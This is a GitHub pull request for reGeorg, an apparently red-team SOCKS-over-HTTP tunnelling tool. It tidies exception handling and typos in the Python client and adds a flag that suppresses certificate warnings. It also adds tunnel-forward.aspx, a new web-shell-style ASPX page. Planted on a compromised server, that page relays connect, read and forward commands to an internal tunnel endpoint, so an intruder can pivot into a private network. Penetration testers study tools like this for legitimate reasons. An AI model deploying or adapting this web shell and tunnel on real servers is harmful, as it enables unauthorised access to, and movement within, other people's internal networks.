Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Suppress InsecureRequestWarning. Kbd interrupts, typos, tunnel-forward #19

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 20 additions & 15 deletions reGeorgSocksProxy.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@ def __init__(self, pSocket, connectString):
o = urlparse(connectString)
try:
self.httpPort = o.port
except:
except StandardError:
if o.scheme == "https":
self.httpPort = 443
else:
Expand Down Expand Up @@ -171,7 +171,7 @@ def parseSocks5(self, sock):
serverIp = target
try:
serverIp = gethostbyname(target)
except:
except StandardError:
log.error("oeps")
serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
self.cookie = self.setupRemoteSession(target, targetPort)
Expand All @@ -196,7 +196,7 @@ def parseSocks4(self, sock):
serverIp = target
try:
serverIp = gethostbyname(target)
except:
except StandardError:
log.error("oeps")
serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
self.cookie = self.setupRemoteSession(target, targetPort)
Expand Down Expand Up @@ -268,7 +268,7 @@ def reader(self):
try:
if response.getheader("server").find("Apache-Coyote/1.1") > 0:
data = data[:len(data) - 1]
except:
except StandardError:
pass
if data is None:
data = ""
Expand All @@ -285,13 +285,13 @@ def reader(self):
continue
transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
self.pSocket.send(data)
except Exception, ex:
except StandardError, ex:
raise ex
self.closeRemoteSession()
log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
try:
self.pSocket.close()
except:
except StandardError:
log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))

def writer(self):
Expand Down Expand Up @@ -319,23 +319,23 @@ def writer(self):
transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
except timeout:
continue
except Exception, ex:
except StandardError, ex:
raise ex
break
self.closeRemoteSession()
log.debug("Closing localsocket")
try:
self.pSocket.close()
except:
except StandardError:
log.debug("Localsocket already closed")

def run(self):
try:
if self.handleSocks(self.pSocket):
log.debug("Staring reader")
log.debug("Starting reader")
r = Thread(target=self.reader, args=())
r.start()
log.debug("Staring writer")
log.debug("Starting writer")
w = Thread(target=self.writer, args=())
w.start()
r.join()
Expand All @@ -346,7 +346,7 @@ def run(self):
except SocksProtocolNotImplemented, spi:
log.error(spi.message)
self.pSocket.close()
except Exception, e:
except StandardError, e:
log.error(e.message)
self.closeRemoteSession()
self.pSocket.close()
Expand All @@ -357,7 +357,7 @@ def askGeorg(connectString):
o = urlparse(connectString)
try:
httpPort = o.port
except:
except StandardError:
if o.scheme == "https":
httpPort = 443
else:
Expand Down Expand Up @@ -392,7 +392,7 @@ def askGeorg(connectString):

[email protected] / @_w_m__
[email protected] / @trowalts
[email protected] / @kamp_staaldraad
[email protected] / @_staaldraad
\033[0m
"""
log.setLevel(logging.DEBUG)
Expand All @@ -402,12 +402,17 @@ def askGeorg(connectString):
parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST", type=int, default="1024")
parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script")
parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO")
parser.add_argument("-c", "--cert-warn-disable", help="Prevent InsecureRequestWarning messages", action='store_true', default="false")
args = parser.parse_args()
if (args.verbose in LEVEL):
log.setLevel(LEVEL[args.verbose])
log.info("Log Level set to [%s]" % args.verbose)

log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url))

if args.cert_warn_disable is True:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
log.info("Certificate warnings (InsecureRequestWarning) disabled")
log.info("Checking if Georg is ready")
if not askGeorg(args.url):
log.info("Georg is not ready, please check url")
Expand All @@ -421,10 +426,10 @@ def askGeorg(connectString):
try:
sock, addr_info = servSock.accept()
sock.settimeout(SOCKTIMEOUT)
log.debug("Incomming connection")
log.debug("Incoming connection")
session(sock, args.url).start()
except KeyboardInterrupt, ex:
break
except Exception, e:
except StandardError, e:
log.error(e)
servSock.close()
116 changes: 116 additions & 0 deletions tunnel-forward.aspx
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
<%@ Page Language="C#" EnableSessionState="True"%>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.IO" %>
<%
string forwardURL = "http://127.0.0.1/tunnel.aspx";
try
{
if (Request.HttpMethod == "POST")
{

//获得post参数,写入forward
string cmd = Request.QueryString.Get("cmd").ToUpper();
string cmdString = string.Format("cmd={0}", cmd);
CookieContainer cookieContainer;
if (cmd == "CONNECT")
{
String target = Request.QueryString.Get("target").ToUpper();
//Request.Headers.Get("X-TARGET");
int port = int.Parse(Request.QueryString.Get("port"));
cmdString = string.Format("cmd={0}&target={1}&port={2}", cmd, target, port);
cookieContainer = new CookieContainer();
Session.Add("cookieContainer", cookieContainer);
}
else
{
cookieContainer = (CookieContainer)Session["cookieContainer"];
}
if (cmdString != "")
{
forwardURL = forwardURL + "?" + cmdString;
}
HttpWebRequest forwardRequest = WebRequest.Create(forwardURL) as HttpWebRequest;
forwardRequest.Method = "POST";
forwardRequest.ContentType = Request.ContentType;
forwardRequest.CookieContainer = cookieContainer;
forwardRequest.KeepAlive = true;
//forwardRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1";
//forwardRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
//获得其他header,没有其他header.

//获得数据长度

forwardRequest.ContentLength = Request.ContentLength;
Response.AddHeader("X-STATUS", "OK");
if (cmd == "FORWARD"){
Stream requestWriter = (forwardRequest.GetRequestStream());
//写入其他数据
int buffLen = Request.ContentLength;
if (buffLen > 0){
byte[] buff = new byte[buffLen];
int c = 0;
while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0)
{
byte[] newBuff = new byte[c];
//Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
System.Buffer.BlockCopy(buff, 0, newBuff, 0, c);
requestWriter.Write(newBuff, 0, c);
}
//requestWriter.Close();
}
HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse();
}

if (cmd == "CONNECT")
{
HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse();
foreach (Cookie cook in response.Cookies)
{
cookieContainer.Add(cook);
}
}
if (cmd == "DISCONNECT")
{
HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse();
Session.Abandon();
}
//读取数据并返回
if (cmd == "READ")
{

try{
MemoryStream ms = new MemoryStream();
Stream st = forwardRequest.GetResponse().GetResponseStream();
byte[] buff = new byte[512];
int read = 0;
while ((read = st.Read(buff, 0, buff.Length)) > 0)
{
byte[] newBuff = new byte[read];
//Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
System.Buffer.BlockCopy(buff, 0, newBuff, 0, read);
Response.BinaryWrite(newBuff);
}

}
catch (Exception ex)
{
Response.AddHeader("X-ERROR", ex.Message);
Response.AddHeader("X-STATUS", "FAIL");
}

}
//读取到0字节?
}
else
{
Response.Write("Georg says, 'All seems fine'");
}
}
catch (Exception e)
{
Response.AddHeader("X-ERROR", e.Message);
Response.AddHeader("X-STATUS", "FAIL");
}
%>